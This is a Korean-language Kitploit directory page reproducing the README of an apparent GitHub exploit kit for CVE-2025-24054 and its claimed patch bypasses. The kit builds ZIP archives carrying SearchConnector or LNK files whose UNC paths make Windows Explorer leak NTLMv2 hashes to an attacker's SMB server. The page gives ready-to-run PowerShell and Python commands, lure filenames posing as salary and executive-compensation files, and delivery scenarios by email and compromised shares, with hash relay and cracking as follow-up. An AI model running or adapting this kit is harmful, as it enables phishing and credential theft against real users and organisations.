Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-24054 — Windows File Explorer 제로 클릭 NTLMv2-SSP 해시 노출 | Kitploit
도구/GitHubGitHub/untouchable17/cve-2025-24054
Password CrackingPhishing ToolsPayload GenerationVulnerability AnalysisExploitationPost-ExploitationSocial Engineering
GitHubuntouchable17/cve-2025-24054

CVE-2025-24054

Windows File Explorer 제로 클릭 NTLMv2-SSP 해시 노출

저장소 보기
2159개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Windows 파일 탐색기 Zero Click NTLMv2-SSP 해시 노출

🎥 데모 POC + 2025년 3월 패치 우회

NTLMv2 Hash Disclosure Demo

🎥 패치 우회

NTLMv2 Hash Disclosure Demo

위 이미지를 클릭하여 취약점 데모를 시청하세요

📋 기술 개요

이 저장소는 Windows Shell 파일 형식 처리에서 NTLMv2-SSP 자격 증명 노출로 이어지는 취약점 체인을 분석하는 포괄적인 연구 프레임워크를 제공합니다. 이 툴킷은 Windows 탐색기의 파일 미리보기 작업 중 자동 UNC 경로 해석을 악용하는 두 가지 별개의 공격 벡터를 구현합니다.

핵심 취약점 메커니즘

근본적인 보안 문제는 미리보기 작업 중 특정 파일 형식에 포함된 UNC 경로를 Windows Shell이 자동으로 처리하는 데 있습니다. 사용자가 특수하게 제작된 파일이 포함된 ZIP 아카이브를 열면 Windows 탐색기가 사용자 동의 없이 UNC 경로를 자동으로 해석하여 SMB 인증 시도를 시작하고 공격자가 제어하는 서버에 NTLMv2-SSP 해시가 노출됩니다.

공격 표면 구성 요소

  • 파일 형식 파싱: XML 기반 셸 파일 및 LNK 바로 가기 속성의 Windows Shell 자동 처리
  • ZIP 컨테이너 우회: Mark-of-the-Web(MOTW) 보호를 우회하는 아카이브 미리보기 기능
  • 인증 트리거: 메타데이터 추출 및 아이콘 가져오기 작업 중 자동 UNC 해석

🏗️ 아키텍처 진화

🔰 1단계: SearchConnector 기반 노출 (CVE-2025-24054)

파일: ntlm-disclosure-poc.py

이 초기 구현은 Windows 탐색기의 검색 위치를 정의하는 XML 기반 구성 파일인 Windows Search Connector(.searchConnector-ms) 파일을 악용합니다. ZIP 아카이브 미리보기 작업 중 Windows가 simpleLocation 요소에 포함된 UNC 경로를 자동으로 처리할 때 취약점이 트리거됩니다.

기술적 특성:

  • Microsoft 스키마 사양을 따르는 XML 기반 페이로드 구조
  • searchConnectorDescription 요소에 UNC 경로 포함
  • Windows 검색 인덱서 및 탐색기 셸의 자동 처리
  • 기존 파일 실행 제한 우회

🔰 2단계: ZIP 내 LNK 우회 (CVE-2025-50154 / CVE-2025-59214)

파일: patch_bypass.ps1

이 향상된 기법은 LNK 파일 속성을 활용하여 Microsoft의 초기 패치에 대응합니다. 이 공격은 Windows 탐색기가 ZIP 파일 미리보기 중 아이콘 메타데이터를 가져오고 대상 경로를 해석하는 동작을 악용하면서, 신중한 속성 구성을 통해 제로 클릭 악용 벡터를 유지합니다.

기술적 특성:

  • TargetPath 속성에 UNC 경로가 있는 LNK 파일
  • 초기 탐지 메커니즘을 우회하는 로컬 아이콘 참조
  • 미리보기 중 Windows Shell의 자동 속성 추출
  • UNC 해석을 달성하면서 파일 형식의 합법성 유지

🔧 사전 요구 사항

Python PoC용:
  • Python 3.6+
  • 필수 패키지: colorama
PowerShell PoC용:
  • Windows PowerShell 5.1+
  • 실행 정책: Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser

🔰 1단계: Python 구현 (CVE-2025-24054)

root@kitploit:~
# Basic usage
python ntml-disclosure-poc.py 192.168.1.100

# With custom output file
python ntml-disclosure-poc.py 192.168.1.100 -o some_data.zip

# Example output
[+] Listener: 192.168.1.100
[*] Resource path: \\192.168.1.100\sharedir
[*] COMPLETE Package: Project_20241125_143022.zip
[*] Output: PATH\Project_20251123_175037.zip

Parameters
target (required): Target IP address or hostname
-o, --output: Custom output filename for ZIP package

🔰 2단계: PowerShell 우회 (CVE-2025-50154/59214)

root@kitploit:~
# Basic usage - LNK file auto-removed
.\bypass.ps1 -IP 192.168.1.100

# Keep LNK file for external distribution
.\bypass.ps1 -IP 192.168.1.100 -KeepLnk

# Custom lure name and share
.\bypass.ps1 -IP 192.168.1.100 -Share documents -File budget.xlsx -Lure FileName" -KeepLnk

# Specify output directory
.\bypass.ps1 -IP 192.168.1.100 -OutDir "C:\Payloads" -KeepLnk


Parameters
-IP (required): Target SMB server IP address
-Share: SMB share name (default: 'share')
-File: Target filename (default: 'payload.exe')
-Lure: Social engineering filename (default: 'Your_File_For_Payload_Here')
-OutDir: Output directory (default: current directory)
-KeepLnk: Preserve LNK file after ZIP creation
root@kitploit:~
graph TD
    A[🔴 CVE-2025-24054<br/>Initial Vulnerability] --> B[🛡️ Microsoft Patch]
    B --> C[🟠 CVE-2025-50154<br/>Bypass #1]
    C --> D[🛡️ Microsoft Patch]
    D --> E[🟡 CVE-2025-59214<br/>Bypass #2]
    E --> F[🔴 Current State<br/>Active Exploitation]
    
    style A fill:#ffcccc
    style C fill:#ffddcc
    style E fill:#ffffcc
    style F fill:#ccffcc

🔧 기술 사양

  1. 📦 페이로드 생성
    • UNC 경로가 있는 악성 파일(SearchConnector/LNK) 생성
    • 매력적인 이름의 ZIP 아카이브로 패키징
  2. 📤 전달
    • 이메일/웹/다운로드를 통해 ZIP 배포
  3. 💥 악용
    • 피해자가 Windows 탐색기에서 ZIP 열기
    • 자동 파일 미리보기가 UNC 해석 트리거
    • NTLMv2-SSP 해시가 공격자에게 전송됨
  4. 🎭 사후 악용
    • 해시 캡처 및 릴레이 공격
    • 암호 크래킹 시도

💀 배포 시나리오

📨 시나리오 1: 직접 ZIP 배포

root@kitploit:~
# Create ZIP payload
.\bypass.ps1 -IP 192.168.1.100 -Lure "Salary_Report_Q4_2025"

# Distribution vectors:
# - 📧 Email attachments with social engineering lures
# - ☁️ Compromised file sharing services
# - 🌐 Network share drops in enterprise environments

🔄 시나리오 2: LNK 파일 전송

root@kitploit:~
# Create and preserve LNK file for multi-host deployment
.\bypass.ps1 -IP 192.168.1.100 -Lure "Project_Documentation" -KeepLnk

# Cross-host deployment:
copy-item "Project_Documentation.lnk" "\\remote-server\share\"
# Web-based distribution via compromised sites

🎯 시나리오 3: 표적형 사회 공학

root@kitploit:~
.\bypass.ps1 -IP 192.168.1.100 -Share "HR_Documents" -File "compensation_review.xlsx" -Lure "Executive_Compensation_2025" -KeepLnk

개발자에게 연락하기

root@kitploit:~
- Group & Contact: t.me/initial_persistence
- Email: [email protected]
도구 다운로드
벡터트리거 메커니즘사용자 상호 작용패치 상태
🔗 SearchConnectorXML 파싱 + UNC 해석ZIP 열기🛡️ 패치됨
📎 LNK TargetPath아이콘 메타데이터 가져오기ZIP 열기🔴 활성